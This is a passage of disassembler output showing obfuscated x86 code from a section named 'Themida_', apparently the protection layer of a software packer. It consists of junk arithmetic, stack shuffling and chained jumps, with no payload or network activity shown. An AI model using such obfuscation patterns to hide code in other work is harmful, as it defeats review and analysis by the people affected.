		jmp	loc_58F0B4
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58EB63:				; CODE XREF: Themida_:0058F7EEj
		sub	[esp], bp
		pop	bp
		add	bp, 0D9Fh
		inc	bp
		add	bp, 0B93Fh
		add	ax, bp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebp
		jmp	loc_58E601
; ---------------------------------------------------------------------------


loc_58EB88:				; CODE XREF: Themida_:0058C9B3j
		add	esi, 4
		jmp	loc_58D6D3
; ---------------------------------------------------------------------------


loc_58EB93:				; CODE XREF: Themida_:00584865j
		pop	esp
		movzx	ecx, ax
		push	285h
		mov	[esp], ecx
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58EBA4:				; CODE XREF: Themida_:0058987Bj
		mov	dx, [esp]
		add	esp, 2
		sub	al, bl
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58790A
; ---------------------------------------------------------------------------


loc_58EBBE:				; CODE XREF: Themida_:00587CD3j
		push	15BB150Ch
		pop	ecx
		inc	ecx
		shl	ecx, 7
		add	ecx, 70728BD1h
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, 0B32FFE16h
		sub	eax, edi
		pop	edi
		push	ecx
		jmp	loc_5880C8
; ---------------------------------------------------------------------------


loc_58EBE8:				; CODE XREF: Themida_:005875BDj
		sub	esi, 65EDFFF6h
		jmp	loc_589750
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		push	3430h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	esi
		mov	esi, 2
		jmp	loc_58952F
; ---------------------------------------------------------------------------


loc_58EC1E:				; CODE XREF: Themida_:0058AD6Dj
		inc	cx
		jmp	loc_58789F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58EC25:				; CODE XREF: sub_585452+4D6j
		shr	ebp, 6
		push	edi
		mov	edi, 0A701F9h
		jmp	loc_58D94C
; ---------------------------------------------------------------------------


loc_58EC33:				; CODE XREF: sub_585452+67F7j
		pop	edi
		mov	eax, 36123AE9h
		add	eax, edi
		jmp	loc_587FB1
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_586ED2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58EC48:				; CODE XREF: sub_585452+8000j
		pop	ebp
		push	edi
		mov	edi, esi
		mov	ecx, edi
		jmp	loc_5849ED
; ---------------------------------------------------------------------------


loc_58EC53:				; CODE XREF: sub_585452+53Fj
		pop	ebp
		add	eax, 4
		jmp	loc_58CFE1
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58EC5C:				; CODE XREF: Themida_:0058AC0Fj
		shr	eax, 7
		or	eax, 6BE04427h
		sub	eax, 6BF9467Bh
		add	esi, 54F458BDh
		sub	esi, eax
		sub	esi, 54F458BDh
		pop	eax
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 1Ch
		sub	ebx, 6C013BABh
		sub	ebx, 469C3E33h
		add	ebx, edi
		push	eax
		mov	eax, 469C3E33h
		add	ebx, eax
		pop	eax
		add	ebx, 6C013BABh
		mov	eax, [ebx]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	edx
		push	eax
		mov	eax, 1
		push	eax
		sub	dword ptr [esp], 280D07C2h
		mov	edx, [esp]
		add	esp, 4
		add	edx, 280D07C2h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		and	eax, edx
		jmp	loc_586BCB
; ---------------------------------------------------------------------------


loc_58ECDB:				; CODE XREF: Themida_:0058D43Fj
		push	ebx
		push	eax
		jmp	loc_58DBD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B758


loc_58ECE2:				; CODE XREF: sub_58B758-48DDj
		push	edi
		jmp	loc_587034
; END OF FUNCTION CHUNK	FOR sub_58B758
; ---------------------------------------------------------------------------


loc_58ECE8:				; CODE XREF: Themida_:0058C839j
		mov	edx, ecx
		pop	ecx
		mov	ebp, 6FFFF2ABh
		xor	ebp, edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58DD06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CABE


loc_58ED03:				; CODE XREF: sub_58CABE+CA6j
		mov	eax, [esp+0]
		add	esp, 4
		neg	edi
		xor	edi, 4ADA14B1h
		xor	edi, 0A4D4E09Fh
		xor	eax, edi
		pop	edi
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_58CABE
; ---------------------------------------------------------------------------


loc_58ED1F:				; CODE XREF: Themida_:0058BDDEj
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edx, 1CB34B1Eh
		add	edx, ebx
		sub	edx, 1CB34B1Eh
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_589814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_58ED45:				; CODE XREF: sub_58C230-C81j
		add	[esp+4], esi
		pop	esi
		push	dword ptr [esp+0]
		mov	esi, [esp-0Ch+arg_8]
		add	esp, 4
		add	esp, 4
		push	ecx
		push	31D5h
		mov	[esp-0Ch+arg_8], ebx
		jmp	loc_5898BE
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------


loc_58ED64:				; CODE XREF: Themida_:005897B2j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_58D7E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58ED76:				; CODE XREF: sub_585452+511Aj
		add	bl, al
		sub	bl, 0DFh
		sub	bl, 4Ch
		movzx	eax, al
		mov	dx, word ptr [esp-18h+arg_12+2]
		push	0ACCh
		jmp	loc_58BDB0
; ---------------------------------------------------------------------------


loc_58ED8F:				; CODE XREF: sub_585452+7AABj
		add	bl, al
		add	bl, 0B0h
		pop	eax
		sub	bl, 1Ch
		push	esi
		mov	esi, esp
		add	esi, 4
		push	61ACh
		mov	[esp+0], edi
		jmp	loc_589C1F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CA39


loc_58EDAE:				; CODE XREF: sub_58CA39-416j
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edi
		mov	edi, esp
		jmp	loc_58F123
; END OF FUNCTION CHUNK	FOR sub_58CA39
; ---------------------------------------------------------------------------


loc_58EDBC:				; CODE XREF: Themida_:0058B89Fj
		mov	dh, ch
		jmp	loc_58E367
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58EDC3:				; CODE XREF: sub_585452+A328j
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_58BF06
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58EDD1	proc near		; CODE XREF: sub_585452+8939j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058C8AE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058DFA7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058FA38 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058FD2F SIZE 00000016 BYTES

		push	ebx
		mov	bl, 49h
		or	bl, 94h
		shl	bl, 7
		jmp	loc_58FA38
sub_58EDD1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		push	edx
		mov	edx, 22A50B32h
		or	edx, 43A03051h
		xor	edx, 2D447A63h
		sub	edx, 6C110E79h
		jmp	loc_585E67
; ---------------------------------------------------------------------------


loc_58EE09:				; CODE XREF: Themida_:0058D24Cj
		xor	edi, 77FFFB85h
		add	ebx, 3FD13E00h
		add	ebx, edi
		sub	ebx, 3FD13E00h
		pop	edi
		jmp	loc_588A45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58EE23:				; CODE XREF: sub_585452-1411j
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		push	esi
		mov	esi, 186377F7h
		jmp	loc_5853A1
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58EE32:				; CODE XREF: Themida_:00589D43j
		add	ebx, 2DB3E3E1h
		sub	eax, ebx
		pop	ebx
		push	ebp
		mov	ebp, 13031492h
		push	ecx
		mov	ecx, 0CEE40941h
		sub	ebp, ecx
		pop	ecx
		add	eax, 1C1B205Ch
		add	eax, ebp
		push	edi
		mov	edi, 1C1B205Ch
		sub	eax, edi
		pop	edi
		pop	ebp
		jmp	loc_58B17C
; ---------------------------------------------------------------------------


loc_58EE60:				; CODE XREF: Themida_:0058945Bj
		shl	ebx, 3
		jmp	loc_58C3B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58EE68:				; CODE XREF: sub_585452+8382j
		mov	[esp+6+var_8+2], ebx
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ecx
		mov	ecx, 74E4ED7h
		add	ecx, 0FFFFFFFFh
		jmp	loc_58CD88
; ---------------------------------------------------------------------------


loc_58EE84:				; CODE XREF: sub_585452+48F8j
		push	edi
		not	[esp+12h+var_14+2]
		jmp	loc_5877A8
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_58EE8D:				; CODE XREF: sub_58999B-4B1Ej
		mov	dh, 0FEh
		add	dh, 2Fh
		jmp	loc_587A13
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------


loc_58EE97:				; CODE XREF: Themida_:0058F8D1j
		sub	eax, 210C638Bh
		add	eax, esi
		push	edi
		push	esi
		mov	esi, 6C30634Fh
		dec	esi
		jmp	loc_589EB2
; ---------------------------------------------------------------------------


loc_58EEAB:				; CODE XREF: Themida_:0058B714j
		not	edi
		xor	edi, 76A68EEh
		mov	ebp, edi
		jmp	loc_5898C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58EEBA:				; CODE XREF: sub_585452+2602j
		pop	esp
		shr	word ptr [esp+0], cl
		pushf
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_58EEC5:				; CODE XREF: sub_589967+4182j
		add	eax, 2BFC0E3Dh
		pop	esi
		xchg	eax, [esp+0]
		jmp	loc_58E830
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------


loc_58EED3:				; CODE XREF: Themida_:0058A101j
		sub	ebp, eax
		sub	ebp, 64780510h
		sub	ebp, 620520DEh
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_58BB71
; ---------------------------------------------------------------------------


loc_58EEEA:				; CODE XREF: Themida_:00588EF7j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_587EDB
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_58916C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58EF15:				; CODE XREF: sub_585452+7BEj
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		xchg	edx, [esp-4+arg_0]
		pop	esp
		xchg	ebx, [esp-8+arg_4]
		pop	esp
		jmp	loc_58A800
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58EF34:				; CODE XREF: Themida_:0058D076j
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_58485E
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_58C90D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_58EF52:				; CODE XREF: sub_589967-3298j
		or	edx, eax
		shl	edx, 1
		push	ecx
		jmp	loc_58EF6D
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------


loc_58EF5C:				; CODE XREF: Themida_:0058BC37j
		push	ebx
		push	esi
		mov	esi, 6B921ABEh
		push	6B921ABAh
		jmp	loc_5844EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_58EF6D:				; CODE XREF: sub_589967+55F0j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		mov	[esp+0], ebp
		push	edx
		mov	edx, 59BE0CFFh
		push	edi
		jmp	loc_584A8E
; END OF FUNCTION CHUNK	FOR sub_589967

; =============== S U B	R O U T	I N E =======================================



sub_58EF8B	proc near		; CODE XREF: sub_585452-43Ej

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	ecx
		mov	cl, ah
		mov	dh, cl
		jmp	loc_58561E
sub_58EF8B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58EF9E:				; CODE XREF: sub_585452+6597j
		sub	eax, 3F2829A0h
		xor	eax, 6DB224ABh
		neg	eax
		or	eax, 4EF06566h
		jmp	loc_58CE4D
; ---------------------------------------------------------------------------


loc_58EFB4:				; CODE XREF: sub_585452+41F9j
		push	[esp+arg_0]
		pop	edi
		pop	dword ptr [esp+0]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58EFBD	proc near		; CODE XREF: sub_58E234-444Aj
					; sub_585452+7EAEj

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00583FFB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00584568 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00584882 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00584B38 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00584B9A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00584F0C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00584F49 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005864D5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005868AB SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00586F22 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00587145 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058729A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005874D7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058757A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00587828 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0058788A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00587F43 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005881BC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005881E0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005882AD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00588311 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005884FB SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005885A2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00588771 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058881C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058886D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005888A9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00588B7A SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00588F1B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00589441 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005895BC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00589745 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00589F8D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058A280 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058A382 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058A758 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058A89C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058AF1F SIZE 00000053 BYTES
; FUNCTION CHUNK AT 0058B260 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058B94E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058BC80 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058BD3B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BF3C SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0058BFAC SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058C365 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058C5D1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C805 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058CBDC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058CC00 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058CE7C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058CFA6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058DB71 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058DC47 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058DD90 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058DF05 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058DFF0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E43A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E589 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058E9D8 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058EB41 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058F054 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F0B4 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0058F6CF SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0058F71E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FE90 SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp-8+arg_4], ebx
		mov	eax, [esp-8+arg_4]
		sub	esp, 4
		mov	[esp-4+arg_0], eax
		jmp	loc_58B260
sub_58EFBD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58EFD4:				; CODE XREF: Themida_:00586F6Fj
		add	edi, edx
		sub	edi, 61F35348h
		add	edi, 9DF0EEDh
		pop	edx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_58BAC8
; ---------------------------------------------------------------------------


loc_58EFF1:				; CODE XREF: Themida_:0058D412j
		xor	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	70EDh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_587F73
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_58CB0F
; ---------------------------------------------------------------------------


loc_58F034:				; CODE XREF: Themida_:0058D6DFj
		mov	esi, esp
		add	esi, 4
		jmp	loc_583F90
; ---------------------------------------------------------------------------
		lodsd
		push	0BF5h
		mov	[esp], ebx
		mov	ebx, 6A6A41F6h
		jmp	loc_5889CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58F054:				; CODE XREF: sub_58EFBD-1226j
		pop	ebp
		jmp	loc_58729A
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58F05A:				; CODE XREF: Themida_:0058B9A5j
		xor	eax, ebp
		push	dword ptr [esp]
		jmp	loc_58BCC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F064:				; CODE XREF: sub_585452+267Fj
		and	eax, esi
		pop	esi
		jmp	loc_58A99E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F06C:				; CODE XREF: Themida_:00586C42j
		add	esi, 1
		xchg	esi, ebx
		push	edi
		mov	edi, 5C5716A2h
		jmp	loc_58B0A5
; ---------------------------------------------------------------------------


loc_58F07C:				; CODE XREF: Themida_:0058B7D8j
		push	ecx
		jmp	loc_58AD0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_58F082:				; CODE XREF: sub_58999B+4j
		sub	al, bh
		pop	bx
		jmp	loc_589BE8
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58405E


loc_58F08B:				; CODE XREF: sub_58405E+FE4j
		sub	eax, 35CA1F92h
		shr	eax, 7
		shr	eax, 6
		jmp	loc_588133
; END OF FUNCTION CHUNK	FOR sub_58405E
; ---------------------------------------------------------------------------


loc_58F09B:				; CODE XREF: Themida_:00583CB2j
		and	si, 74CDh
		jmp	loc_58C060
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_58866B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58F0B4:				; CODE XREF: sub_58EFBD-45Fj
		push	3646h
		mov	[esp-8+arg_4], edx
		mov	edx, 0
		add	edx, ebx
		push	ecx
		mov	ecx, 0
		push	esi
		mov	esi, 4C44859h
		sub	ecx, esi
		pop	esi
		push	edx
		mov	edx, 34846A91h
		add	ecx, edx
		pop	edx
		add	ecx, edx
		sub	ecx, 34846A91h
		jmp	loc_58886D
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58F0E8:				; CODE XREF: Themida_:0058DF6Bj
		push	esi
		mov	esi, 2CDF3778h
		add	esi, 0D4FF56Eh
		jmp	loc_585E51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_58F0F9:				; CODE XREF: sub_589967-2AE4j
		push	dword ptr [esp+0]
		mov	eax, [esp+0]
		push	565Eh
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		jmp	loc_583EC7
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------


loc_58F11A:				; CODE XREF: Themida_:0058C9D8j
		or	ecx, edi
		pop	edi
		inc	ecx
		jmp	loc_58F5A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CA39


loc_58F123:				; CODE XREF: sub_58CA39+237Ej
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+0], eax
		push	ecx
		push	68F75823h
		pop	ecx
		add	ecx, 79516917h
		shl	ecx, 4
		add	ecx, 0DB73EC64h
		mov	eax, ecx
		pop	ecx
		sub	edi, eax
		pop	eax
		xchg	edi, [esp-4+arg_0]
		pop	esp
		mov	[esp+0], ebx
		mov	ebx, 0
		sub	ebx, 2E405031h
		jmp	loc_58FB12
; END OF FUNCTION CHUNK	FOR sub_58CA39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F165:				; CODE XREF: sub_585452+44F6j
		inc	edi
		sub	edi, 2C4A3C48h
		add	edi, 6DFB1A48h
		xor	edi, 8F4C340Fh
		add	ebx, edi
		pop	edi
		push	eax
		mov	eax, 1A68ADh
		jmp	loc_587B1E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F186:				; CODE XREF: Themida_:00588E9Dj
		push	ebx
		push	ecx
		jmp	loc_585C66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F18D:				; CODE XREF: sub_585452+80EAj
		mov	bl, 7Eh
		neg	bl
		xchg	dl, bl
		neg	dl
		xchg	dl, bl
		shr	bl, 3
		dec	bl
		jmp	loc_58F24C
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F1A1:				; CODE XREF: Themida_:00583F3Bj
		mov	ch, 0EAh
		mov	bl, ch
		pop	cx
		add	al, bl
		pop	ebx
		sub	al, cl
		jmp	loc_58FA0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58405E


loc_58F1B1:				; CODE XREF: sub_58405E+5D57j
		pop	ebx
		add	eax, edi
		sub	eax, 479C021Dh
		pop	edi
		xor	ebx, eax
		sub	esp, 4
		mov	[esp+0], eax
		sub	esp, 4
		jmp	loc_58C5D8
; END OF FUNCTION CHUNK	FOR sub_58405E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F1CD:				; CODE XREF: sub_585452+764Bj
		mov	dh, 1
		shr	dh, 6
		and	dh, 24h
		shr	dh, 6
		inc	dh
		sub	dh, 0ECh
		xor	dh, 0F4h
		mov	ah, dh
		mov	edx, [esp+42h+var_44+2]
		jmp	loc_5841A4
; ---------------------------------------------------------------------------


loc_58F1EA:				; CODE XREF: sub_585452+3614j
		pop	edx
		jmp	loc_588FB2
; ---------------------------------------------------------------------------


loc_58F1F0:				; CODE XREF: sub_585452+501Ej
		xor	eax, ebx
		pop	ebx
		push	ebx
		mov	ebx, 3D674D35h
		push	4C68h
		mov	[esp+12h+var_14+2], eax
		mov	eax, 2BD19BDh
		jmp	loc_58623F
; ---------------------------------------------------------------------------


loc_58F20B:				; CODE XREF: sub_585452+12A4j
		add	ecx, 6589CBC3h
		dec	ecx
		add	ecx, 89F71A10h
		add	edx, ecx
		jmp	loc_588460
; ---------------------------------------------------------------------------


loc_58F21F:				; CODE XREF: sub_585452+76E9j
		mov	[esp-2Eh+arg_28+2], eax
		jmp	loc_58B8FC
; ---------------------------------------------------------------------------


loc_58F227:				; CODE XREF: sub_585452+481Ej
		mov	edx, 5843215h
		add	edi, edx
		pop	edx
		shr	edi, 4
		jmp	loc_58A593
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F237:				; CODE XREF: Themida_:00589BD7j
		xchg	ecx, [esp]
		jmp	loc_5843A6
; ---------------------------------------------------------------------------


loc_58F23F:				; CODE XREF: Themida_:0058815Bj
		push	ebp
		mov	ebp, esp
		jmp	loc_58D216
; ---------------------------------------------------------------------------


loc_58F247:				; CODE XREF: Themida_:0058E99Ej
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F24C:				; CODE XREF: sub_585452+9D4Aj
		add	bl, 81h
		jmp	loc_58B53E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F254:				; CODE XREF: Themida_:00587607j
		push	dword ptr [esp]
		jmp	loc_5849B8
; ---------------------------------------------------------------------------


loc_58F25C:				; CODE XREF: Themida_:00584DFEj
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_58A2AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F267:				; CODE XREF: sub_585452+29D2j
		and	ecx, esi
		jmp	loc_58C789
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58F26E:				; CODE XREF: Themida_:0058F65Cj
		xor	edx, 3C80FE1h
		mov	ebx, edx
		pop	edx
		xchg	edi, ebx
		jmp	loc_58A58D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F3BC


loc_58F27E:				; CODE XREF: sub_58F3BC-5903j
		mov	[esp+0], ebx
		jmp	loc_589223
; END OF FUNCTION CHUNK	FOR sub_58F3BC
; ---------------------------------------------------------------------------


loc_58F286:				; CODE XREF: Themida_:00584FDAj
		sub	bl, 52h
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_586DE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58F294:				; CODE XREF: sub_585452+116Fj
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58F299:				; CODE XREF: sub_585452+30A4j
		add	ecx, edx
		sub	ecx, 49BC24D5h
		jmp	loc_58CA02
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_58F2A6:				; CODE XREF: sub_58C230+12FDj
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_584BE8
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------


loc_58F2B9:				; CODE XREF: Themida_:00584B81j
		pop	eax
		push	ecx
		mov	ecx, 7BFA4B97h
		inc	ecx
		or	ecx, 30C366DDh
		shr	ecx, 5
		sub	ecx, 6D627994h
		sub	ecx, 5FF460E5h
		and	eax, ecx
		jmp	loc_588CC5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	59C2h
		mov	[esp], ebx
		push	5B8h
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		jmp	loc_5862EE
; ---------------------------------------------------------------------------


loc_58F2FC:				; CODE XREF: Themida_:0058FD06j
		xchg	ecx, [esp]
